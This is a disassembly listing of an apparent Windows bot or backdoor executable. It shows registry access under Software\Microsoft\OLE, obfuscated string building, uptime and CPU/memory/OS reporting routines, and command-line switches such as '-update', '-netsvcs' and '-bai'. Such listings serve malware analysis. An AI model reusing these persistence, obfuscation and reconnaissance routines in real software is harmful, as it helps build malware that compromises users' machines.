		push	eax
		lea	ecx, [esp+17Ch+var_100]
		call	sub_401A9B
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_401226
		mov	edi, offset aN	; "N"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+178h+var_8C]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	[esp+178h+var_168], 0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+178h+var_8C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, dword_511764
		mov	edi, ecx
		lea	ecx, [esp+178h+var_168]
		push	ecx
		push	20019h
		push	eax
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	80000002h
		call	esi
		push	0
		push	27h
		push	29h
		push	1Dh
		push	1Eh
		push	5
		push	0Ch
		push	2
		push	1
		push	0Eh
		lea	edx, [esp+1B4h+var_178]
		push	1Fh
		push	edx
		call	sub_4019C4
		add	esp, 30h
		lea	ecx, [esp+18Ch+var_A0]
		push	edi
		push	ecx
		push	1
		push	0
		mov	ecx, eax
		mov	[esp+19Ch+var_18], 1Fh
		call	sub_4017EE
		mov	edx, [esp+19Ch+var_17C]
		push	eax
		push	edx
		call	near ptr 2970000h
		nop
		lea	ecx, [esp+1A4h+var_190]
		mov	[esp+1A4h+var_30], 1Dh
		call	sub_401226
		mov	eax, [esp+1A4h+var_194]
		mov	edi, dword_511740
		push	eax
		call	edi
		lea	ecx, [esp+1A8h+var_198]
		push	ecx
		push	0F003Fh
		push	0
		lea	ecx, [esp+1B4h+var_130]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	13h
		lea	edx, [esp+1E0h+var_1A8]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1BCh+var_48], 20h
		call	sub_4017EE
		mov	ebp, dword_51176C
		push	eax
		mov	eax, [esp+1C0h+var_1AC]
		push	eax
		call	ebp
		lea	ecx, [esp+1C4h+var_1B0]
		mov	[esp+1C4h+var_50], 1Dh
		call	sub_401226
		mov	ecx, [esp+1C4h+var_1B4]
		push	ecx
		call	edi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	15h
		push	12h
		lea	edx, [esp+1ECh+var_1B4]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1C8h+var_54], 21h
		call	sub_4017EE
		push	eax
		call	sub_401604
sub_404CC0	endp

; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 84C61424h, 17424h, 0BFE81D00h, 8DFFFFB6h
		dd 0E844244Ch, 0FFFFB8BEh, 46822B3h, 68000001h,	104h, 4C244C8Dh
		dd 7C249C88h, 0E8000001h, 0FFFFC0E5h, 6DE89050h, 6A023FA4h
		dd 6A056A00h, 6A056A18h, 6A486A4Eh, 6A156A0Eh, 24448D12h
		dd 50096A38h, 0FFBE13E8h, 2CC483FFh, 84C6C88Bh,	17424h
		dd 2BE82300h, 50FFFFBCh, 48244C8Dh, 0FFBC21E8h,	4C8D50FFh
		dd 84684C24h, 51004446h, 0FFB450E8h, 10C483FFh,	14244C8Dh
		dd 74249C88h, 0E8000001h, 0FFFFB636h, 44244C8Dh, 0FFBA92E8h
		dd 0E89050FFh, 23EB156h, 1024548Dh, 78244C8Dh, 3F6852h
		dd 6A000Fh, 0FFBBD9E8h,	26850FFh, 0FF800000h, 6A006AD6h
		dd 6A186A05h, 6A4E6A05h, 6A146A05h, 24448D01h, 50126A34h
		dd 0FFBD8BE8h, 28C483FFh, 84C6C88Bh, 17424h, 0A3E82400h
		dd 8BFFFFBBh, 5010244Ch, 8DD5FF51h, 8814244Ch, 174249Ch
		dd 0C3E80000h, 8BFFFFB5h, 52102454h, 6AD7FFh, 186A056Ah
		dd 4E6A056Ah, 0E6A486Ah, 496A486Ah, 456A126Ah, 448D456Ah
		dd 96A4424h, 0BD36E850h, 0C483FFFFh, 0C6C88B38h, 1742484h
		dd 0E8250000h, 0FFFFBB4Eh, 0B95EE850h, 0C483FFFFh, 244C8D04h
		dd 249C8814h, 174h, 0FFB56DE8h,	10468FFh, 4680000h, 8D000001h
		dd 0E84C244Ch, 0FFFFBFA5h, 2DE89050h, 6A023FA3h, 6A056A00h
		dd 6A056A18h, 6A486A4Eh, 6A486A0Eh, 6A126A49h, 8D456A45h
		dd 6A44244Ch, 0CDE85109h, 83FFFFBCh, 0C88B38C4h, 742484C6h
		dd 26000001h, 0FFBAE5E8h, 4C8D50FFh, 0DBE84824h, 50FFFFBAh
		dd 4C24548Dh, 44468468h, 0AE85200h, 83FFFFB3h, 4C8D10C4h
		dd 9C881424h, 17424h, 0B4F0E800h, 4C8DFFFFh, 4CE84424h
		dd 50FFFFB9h, 0B010E890h, 448D023Eh, 4C8D1024h,	68507824h
		dd 0F003Fh, 93E8006Ah, 50FFFFBAh, 268h,	6AD6FF80h, 6A056A00h
		dd 6A056A18h, 6A056A4Eh, 6A016A14h, 244C8D13h, 51136A38h
		dd 0FFBC43E8h, 2CC483FFh, 84C6C88Bh, 17424h, 5BE82700h
		dd 8BFFFFBAh, 50102454h, 8DD5FF52h, 8814244Ch, 174249Ch
		dd 7BE80000h, 8BFFFFB4h, 50102444h, 6AD7FFh, 186A056Ah
		dd 4E6A056Ah, 196A136Ah, 0E6A136Ah, 4C8D096Ah, 176A3C24h
		dd 0BBF2E851h, 0C483FFFFh, 0C6C88B30h, 1742484h, 0E8280000h
		dd 0FFFFBA0Ah, 0B81AE850h, 0C483FFFFh, 244C8D04h, 249C8814h
		dd 174h, 0FFB429E8h, 10468FFh, 4680000h, 8D000001h, 0E84C244Ch
		dd 0FFFFBE61h, 0E9E89050h, 6A023FA1h, 6A056A00h, 6A056A18h
		dd 6A136A4Eh, 6A136A19h, 8D096A0Eh, 6A3C2454h, 8DE85217h
		dd 83FFFFBBh, 0C88B30C4h, 742484C6h, 29000001h,	0FFB9A5E8h
		dd 4C8D50FFh, 9BE84824h, 50FFFFB9h, 4C24448Dh, 44468468h
		dd 0CAE85000h, 83FFFFB1h, 4C8D10C4h, 9C881424h,	17424h
		dd 0B3B0E800h, 4C8DFFFFh, 0CE84424h, 50FFFFB8h,	0AED0E890h
		dd 4C8D023Eh, 68511024h, 0F003Fh, 8C8D006Ah, 8424h, 0B950E800h
		dd 6850FFFFh, 80000002h, 6AD6FFh, 186A056Ah, 4E6A056Ah
		dd 146A056Ah, 46A016Ah,	156A106Ah, 476A046Ah, 4824548Dh
		dd 0E852046Ah, 0FFFFBAF8h, 8B3CC483h, 2484C6C8h, 174h
		dd 0B910E82Ah, 8B50FFFFh, 50142444h, 4C8DD5FFh,	9C881424h
		dd 17424h, 0B330E800h, 4C8BFFFFh, 0FF511024h, 6A006AD7h
		dd 6A186A05h, 6A4E6A05h, 6A0C6A05h, 6A016A07h, 8D026A05h
		dd 6A402454h, 0A5E85202h, 83FFFFBAh, 0C88B34C4h, 742484C6h
		dd 2B000001h, 0FFB8BDE8h, 0CDE850FFh, 83FFFFB6h, 4C8D04C4h
		dd 9C881424h, 17424h, 0B2DCE800h, 468FFFFh, 68000001h
		dd 104h, 4C244C8Dh, 0FFBD14E8h,	0E89050FFh, 23FA09Ch, 56A006Ah
		dd 56A186Ah, 56A4E6Ah, 76A0C6Ah, 56A016Ah, 448D026Ah, 26A4024h
		dd 0BA3EE850h, 0C483FFFFh, 0C6C88B34h, 1742484h, 0E82C0000h
		dd 0FFFFB856h, 244C8D50h, 0B84CE848h, 8D50FFFFh, 684C244Ch
		dd 444684h, 0B07BE851h,	0C483FFFFh, 244C8D10h, 249C8814h
		dd 174h, 0FFB261E8h, 244C8DFFh,	0B6BDE844h, 0E850FFFFh
		dd 23EAD82h, 24548D90h,	244C8D10h, 3F685278h, 6A000F00h
		dd 0B804E800h, 6850FFFFh, 80000002h, 6AD6FFh, 0F6A0E6Ah
		dd 0B6A276Ah, 16A136Ah,	3024448Dh, 0E8502E6Ah, 0FFFFB9B8h
		dd 8B24C483h, 2484C6C8h, 174h, 0B7D0E82Dh, 4C8BFFFFh, 51501024h
		dd 4C8DD5FFh, 9C881424h, 17424h, 0B1F0E800h, 548BFFFFh
		dd 0FF521024h, 6A006AD7h, 6A186A05h, 6A4E6A05h,	6A0F6A0Eh
		dd 6A0B6A0Dh, 8D016A13h, 6A402444h, 65E85014h, 83FFFFB9h
		dd 0C88B34C4h, 742484C6h, 2E000001h, 0FFB77DE8h, 8DE850FFh
		dd 83FFFFB5h, 4C8D04C4h, 9C881424h, 17424h, 0B19CE800h
		dd 468FFFFh, 68000001h,	104h, 4C244C8Dh, 0FFBBD4E8h, 5DE850FFh
		dd 90023F9Fh, 56A006Ah,	56A186Ah, 0E6A4E6Ah, 0D6A0F6Ah
		dd 136A0B6Ah, 4C8D016Ah, 146A4024h, 0B8FEE851h,	0C483FFFFh
		dd 0C6C88B34h, 1742484h, 0E82F0000h, 0FFFFB716h, 244C8D50h
		dd 0B70CE848h, 6850FFFFh, 444684h, 5024548Dh, 0AF3BE852h
		dd 0C483FFFFh, 244C8D10h, 249C8814h, 174h, 0FFB121E8h
		dd 244C8DFFh, 0B57DE844h, 0E850FFFFh, 23EAC42h,	24448D90h
		dd 244C8D10h, 3F685078h, 6A000F00h, 0B6C4E800h,	6850FFFFh
		dd 80000002h, 6AD6FFh, 56A126Ah, 0F6A126Ah, 106A0C6Ah
		dd 8C8D186Ah, 0B024h, 511F6A00h, 0FFB873E8h, 28C483FFh
		dd 84C6C88Bh, 17424h, 8BE83000h, 8BFFFFB6h, 50102454h
		dd 8DD5FF52h, 90248Ch, 9C880000h, 17424h, 0B0A8E800h, 448BFFFFh
		dd 0FF501024h, 10358BD7h, 6800511Bh, 444668h, 4C68D6FFh
		dd 0FF004446h, 462C68D6h, 0D6FF0044h, 44460868h, 83D6FF00h
		dd 4C8D10C4h, 84C64424h, 17424h, 6BE81D00h, 8DFFFFB0h
		dd 0C778244Ch, 1742484h, 0FFFF0000h, 57E8FFFFh,	0B0FFFFB0h
		dd 0F4E9E901h, 9090FFFFh, 2 dup(90909090h), 154h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_406730	proc near		; CODE XREF: sub_40195Bj

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_406730
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_28], ebx
		call	sub_40142E
		mov	esi, [esp+38h+arg_4]
		mov	ebp, 1
		cmp	esi, ebx
		mov	[esp+38h+var_4], ebp
		jnz	short loc_406781
		mov	esi, [esp+38h+arg_0]
		push	ebx
		mov	ecx, esi
		call	sub_402112
		mov	[esp+38h+var_28], ebp
		jmp	loc_406827
; ---------------------------------------------------------------------------


loc_406781:				; CODE XREF: sub_406730+3Aj
		call	near ptr 27F0C4Bh
		nop
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		add	edx, ecx
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	edi, edx
		cmp	edi, esi
		jl	short loc_406813
		mov	eax, ecx
		mov	ecx, 15180h
		cdq
		idiv	ecx
		mov	esi, 0E10h
		mov	ecx, edx
		mov	eax, ecx
		cdq
		idiv	esi
		mov	eax, 88888889h
		mov	esi, edx
		imul	esi
		add	edx, esi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		push	edx
		push	edi
		lea	edx, [esp+44h+var_24]
		push	offset aUpDdDhDm ; "up:	%dd %dh	%dm"
		push	edx
		call	sub_40102D
		mov	esi, [esp+4Ch+arg_0]
		add	esp, 14h
		lea	eax, [esp+38h+var_24]
		mov	ecx, esi
		push	eax
		call	sub_4014D3
		jmp	short loc_406823
; ---------------------------------------------------------------------------


loc_406813:				; CODE XREF: sub_406730+7Cj
		mov	esi, [esp+38h+arg_0]
		push	offset byte_448F30
		mov	ecx, esi
		call	sub_401870


loc_406823:				; CODE XREF: sub_406730+E1j
		mov	[esp+38h+var_28], ebp


loc_406827:				; CODE XREF: sub_406730+4Cj
		lea	ecx, [esp+38h+var_24]
		mov	byte ptr [esp+38h+var_4], bl
		call	sub_401226
		mov	ecx, [esp+38h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn	8
sub_406730	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4068A0:				; CODE XREF: ___:00401672j
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	offset byte_448F30
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_401870
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4068E0	proc near		; CODE XREF: sub_401F5Aj

var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_164		= byte ptr -164h
var_14C		= byte ptr -14Ch
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4068E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18Ch
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+1A4h+var_18C]
		mov	[esp+1A4h+var_198], 0
		call	sub_40142E
		mov	[esp+1A4h+var_4], 1
		nop
		call	near ptr 27F0C4Bh
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	esi, edx
		lea	edx, [esp+1A4h+var_14C]
		push	edx
		mov	[esp+1A8h+var_190], 10h
		shr	esi, 6
		mov	[esp+1A8h+var_194], 15h
		nop
		call	near ptr 2840000h
		lea	eax, [esp+1A4h+var_12C]
		mov	[esp+1A4h+var_12C], 94h
		push	eax
		call	near ptr 2830000h
		nop
		mov	eax, [esp+1A4h+var_128]
		cmp	eax, 4
		jnz	short loc_4069AE
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406996
		mov	eax, [esp+1A4h+var_11C]
		cmp	eax, 1
		jnz	short loc_406986
		mov	ebp, offset a95	; "95"
		jmp	loc_406A21
; ---------------------------------------------------------------------------


loc_406986:				; CODE XREF: sub_4068E0+9Aj
		cmp	eax, 2
		jnz	loc_406A1D
		mov	ebp, offset aNt	; "NT"
		jmp	short loc_4069EA
; ---------------------------------------------------------------------------


loc_406996:				; CODE XREF: sub_4068E0+8Ej
		cmp	eax, 0Ah
		jnz	short loc_4069A2
		mov	ebp, offset a98	; "98"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069A2:				; CODE XREF: sub_4068E0+B9j
		cmp	eax, 5Ah
		jnz	short loc_4069DB
		mov	ebp, offset aMe	; "ME"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069AE:				; CODE XREF: sub_4068E0+83j
		cmp	eax, 5
		jnz	short loc_4069DB
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_4069C5
		mov	ebp, offset a2000 ; "2000"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069C5:				; CODE XREF: sub_4068E0+DCj
		cmp	eax, 1
		jnz	short loc_4069D1
		mov	ebp, offset aXp	; "XP"
		jmp	short loc_4069E0
; ---------------------------------------------------------------------------


loc_4069D1:				; CODE XREF: sub_4068E0+E8j
		cmp	eax, 2
		mov	ebp, offset a2003 ; "2003"
		jz	short loc_4069E0


loc_4069DB:				; CODE XREF: sub_4068E0+C5j
					; sub_4068E0+D1j
		mov	ebp, offset a??? ; "???"


loc_4069E0:				; CODE XREF: sub_4068E0+C0j
					; sub_4068E0+CCj ...
		cmp	[esp+1A4h+var_11C], 2
		jnz	short loc_406A21


loc_4069EA:				; CODE XREF: sub_4068E0+B4j
		mov	al, [esp+1A4h+var_118]
		test	al, al
		jz	short loc_406A21
		lea	ecx, [esp+1A4h+var_118]
		lea	edx, [esp+1A4h+var_98]
		push	ecx
		push	ebp
		push	offset aSS_2	; "%s [%s]"
		push	edx
		call	sub_5F76F7
		nop
		add	esp, 10h
		lea	ebp, [esp+1A4h+var_98]
		jmp	short loc_406A21
; ---------------------------------------------------------------------------


loc_406A1D:				; CODE XREF: sub_4068E0+A9j
		mov	ebp, [esp+1A4h+var_198]


loc_406A21:				; CODE XREF: sub_4068E0+A1j
					; sub_4068E0+108j ...
		lea	eax, [esp+1A4h+var_190]
		lea	ecx, [esp+1A4h+var_174]
		push	eax
		push	ecx
		nop
		call	near ptr 2820000h
		lea	edx, [esp+1A4h+var_194]
		lea	eax, [esp+1A4h+var_164]
		push	edx
		push	eax
		call	near ptr 2960000h
		nop
		mov	eax, esi
		mov	ecx, 15180h
		cdq
		idiv	ecx
		lea	eax, [esp+1A4h+var_174]
		mov	edi, 0E10h
		mov	ecx, edx
		lea	edx, [esp+1A4h+var_164]
		push	edx
		push	eax
		mov	eax, ecx
		cdq
		idiv	edi
		mov	eax, 88888889h
		mov	edi, edx
		imul	edi
		add	edx, edi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		mov	eax, 0C22E4507h
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		mov	ecx, [esp+1B0h+var_120]
		push	edx
		imul	esi
		add	edx, esi
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, [esp+1B4h+var_128]
		push	edx
		mov	edx, [esp+1B8h+var_124]
		push	ecx
		mov	ecx, [esp+1BCh+var_144]
		push	edx
		push	eax
		mov	eax, 804021h
		push	ebp
		mul	ecx
		sub	ecx, edx
		mov	eax, 804021h
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		mov	ecx, [esp+1CCh+var_140]
		mul	ecx
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		call	sub_4017FD
		push	eax
		lea	ecx, [esp+1D4h+var_18C]
		push	offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
		push	ecx
		call	sub_40102D
		mov	esi, [esp+1DCh+arg_0]
		add	esp, 38h
		lea	edx, [esp+1A4h+var_18C]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+1A4h+var_198], 1
		lea	ecx, [esp+1A4h+var_18C]
		mov	byte ptr [esp+1A4h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+1A4h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 198h
		retn	4
sub_4068E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406BF0	proc near		; CODE XREF: sub_4015E6j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F008
		mov	dword ptr [eax+110h], 0
		retn
sub_406BF0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406C20:				; CODE XREF: ___:00401FAAj
		push	esi
		mov	esi, ecx
		call	sub_401447
		test	byte ptr [esp+8], 1
		jz	short loc_406C38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406C38:				; CODE XREF: ___:00406C2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406C50	proc near		; CODE XREF: sub_401447j
		mov	dword ptr [ecx], offset	off_43F008
		mov	ecx, [ecx+110h]
		test	ecx, ecx
		jz	short locret_406C67
		push	ecx
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx

locret_406C67:				; CODE XREF: sub_406C50+Ej
		retn
sub_406C50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_406C80	proc near		; CODE XREF: sub_401384j

arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_406C80
		push	eax
		mov	large fs:0, esp
		sub	esp, 448h
		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+110h]
		test	eax, eax
		jz	short loc_406CB1
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406CB1:				; CODE XREF: sub_406C80+26j
		push	ebp
		push	esi
		mov	esi, [esp+460h+arg_0]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	sub_437AEA
sub_406C80	endp

; ---------------------------------------------------------------------------
		mov	edx, eax
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+110h], edx
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebx+110h]
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx+5], 0
		mov	byte ptr [ebx+9], 0
		mov	byte ptr [ebx+0Ah], 0
		mov	byte ptr [ebx+0Bh], 0
		repne scasb
		not	ecx
		push	ecx
		call	sub_437AEA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+110h]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	ebp, dword_511B00
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		push	offset asc_444600 ; " "
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		push	edx
		and	ecx, 3
		rep movsb
		call	ebp	; strtok
		add	esp, 10h
		mov	[esp+58h], eax
		lea	esi, [esp+5Ch]
		mov	edi, 0FFh


loc_406D62:				; CODE XREF: ___:00406D74j
		push	offset asc_444600 ; " "
		push	0
		call	ebp	; strtok
		mov	[esi], eax
		add	esp, 8
		add	esi, 4
		dec	edi
		jnz	short loc_406D62
		mov	eax, [esp+58h]
		xor	ecx, ecx
		cmp	eax, ecx
		jz	loc_406F68
		lea	ebp, [esp+58h]


loc_406D88:				; CODE XREF: ___:00406F60j
		mov	edi, [ebp+0]
		mov	esi, offset dword_4447EC
		mov	eax, edi


loc_406D92:				; CODE XREF: ___:00406DB0j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DB6
		test	cl, cl
		jz	short loc_406DB2
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DB6
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D92


loc_406DB2:				; CODE XREF: ___:00406D9Cj
		xor	eax, eax
		jmp	short loc_406DBB
; ---------------------------------------------------------------------------


loc_406DB6:				; CODE XREF: ___:00406D98j
					; ___:00406DA6j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DBB:				; CODE XREF: ___:00406DB4j
		test	eax, eax
		jz	loc_406F58
		mov	esi, offset aUpdate ; "-update"
		mov	eax, edi


loc_406DCA:				; CODE XREF: ___:00406DE8j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DEE
		test	cl, cl
		jz	short loc_406DEA
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DEE
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DCA


loc_406DEA:				; CODE XREF: ___:00406DD4j
		xor	eax, eax
		jmp	short loc_406DF3
; ---------------------------------------------------------------------------


loc_406DEE:				; CODE XREF: ___:00406DD0j
					; ___:00406DDEj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DF3:				; CODE XREF: ___:00406DECj
		test	eax, eax
		jnz	short loc_406E00
		mov	byte ptr [ebx+9], 1
		jmp	loc_406F58
; ---------------------------------------------------------------------------


loc_406E00:				; CODE XREF: ___:00406DF5j
		mov	esi, offset aNetsvcs ; "-netsvcs"
		mov	eax, edi


loc_406E07:				; CODE XREF: ___:00406E25j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E2B
		test	cl, cl
		jz	short loc_406E27
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E2B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406E07


loc_406E27:				; CODE XREF: ___:00406E11j
		xor	eax, eax
		jmp	short loc_406E30
; ---------------------------------------------------------------------------


loc_406E2B:				; CODE XREF: ___:00406E0Dj
					; ___:00406E1Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E30:				; CODE XREF: ___:00406E29j
		test	eax, eax
		jnz	short loc_406E3D
		mov	byte ptr [ebx+0Ah], 1
		jmp	loc_406F58
; ---------------------------------------------------------------------------


loc_406E3D:				; CODE XREF: ___:00406E32j
		mov	esi, offset aBai ; "-bai"
		mov	eax, edi


loc_406E44:				; CODE XREF: ___:00406E62j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E68
		test	cl, cl
		jz	short loc_406E64
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E68
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406E44


loc_406E64:				; CODE XREF: ___:00406E4Ej
		xor	eax, eax
		jmp	short loc_406E6D
; ---------------------------------------------------------------------------


loc_406E68:				; CODE XREF: ___:00406E4Aj
					; ___:00406E58j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E6D:				; CODE XREF: ___:00406E66j
		test	eax, eax
		jnz	loc_406F58
		lea	ecx, [esp+10h]
		call	sub_40142E
		mov	eax, [esp+468h]
		push	offset aBai	; "-bai"
		push	eax
		mov	dword ptr [esp+468h], 0
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_406F44
		push	eax
		lea	ecx, [esp+14h]
		call	sub_4015E1
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+30h]
		push	1
		push	ecx
		lea	ecx, [esp+20h]
		call	sub_4011EA
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+464h], 1
		call	sub_4012EE
		lea	ecx, [esp+28h]
		mov	esi, eax
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		test	esi, esi
		jz	short loc_406F44
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+48h]
		push	1
		push	edx
		lea	ecx, [esp+20h]
		mov	byte ptr [ebx+0Bh], 1
		call	sub_4011EA
		push	104h
		mov	ecx, eax
		mov	byte ptr [esp+464h], 2
		call	sub_40168B
		push	eax
		lea	eax, [ebx+0Ch]
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		add	ebp, 4


loc_406F44:				; CODE XREF: ___:00406EA1j
					; ___:00406EF1j
		lea	ecx, [esp+10h]
		mov	dword ptr [esp+460h], 0FFFFFFFFh
		call	sub_401226


loc_406F58:				; CODE XREF: ___:00406DBDj
					; ___:00406DFBj ...
		mov	eax, [ebp+4]
		add	ebp, 4
		test	eax, eax
		jnz	loc_406D88
		xor	ecx, ecx


loc_406F68:				; CODE XREF: ___:00406D7Ej
		mov	al, [ebx+4]
		pop	edi
		pop	esi
		pop	ebp
		test	al, al
		jnz	short loc_406F75
		mov	[ebx+5], ecx


loc_406F75:				; CODE XREF: ___:00406F70j
		cmp	[ebx+5], ecx
		jnz	short loc_406F85
		test	al, al
		jz	short loc_406F85
		mov	dword ptr [ebx+5], 0Ah


loc_406F85:				; CODE XREF: ___:00406F78j
					; ___:00406F7Cj
		mov	[ebx+5], ecx
		mov	ecx, [esp+44Ch]
		mov	byte ptr [ebx+4], 0
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 454h
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
byte_406FB0	db 0D0h	dup(0CCh)

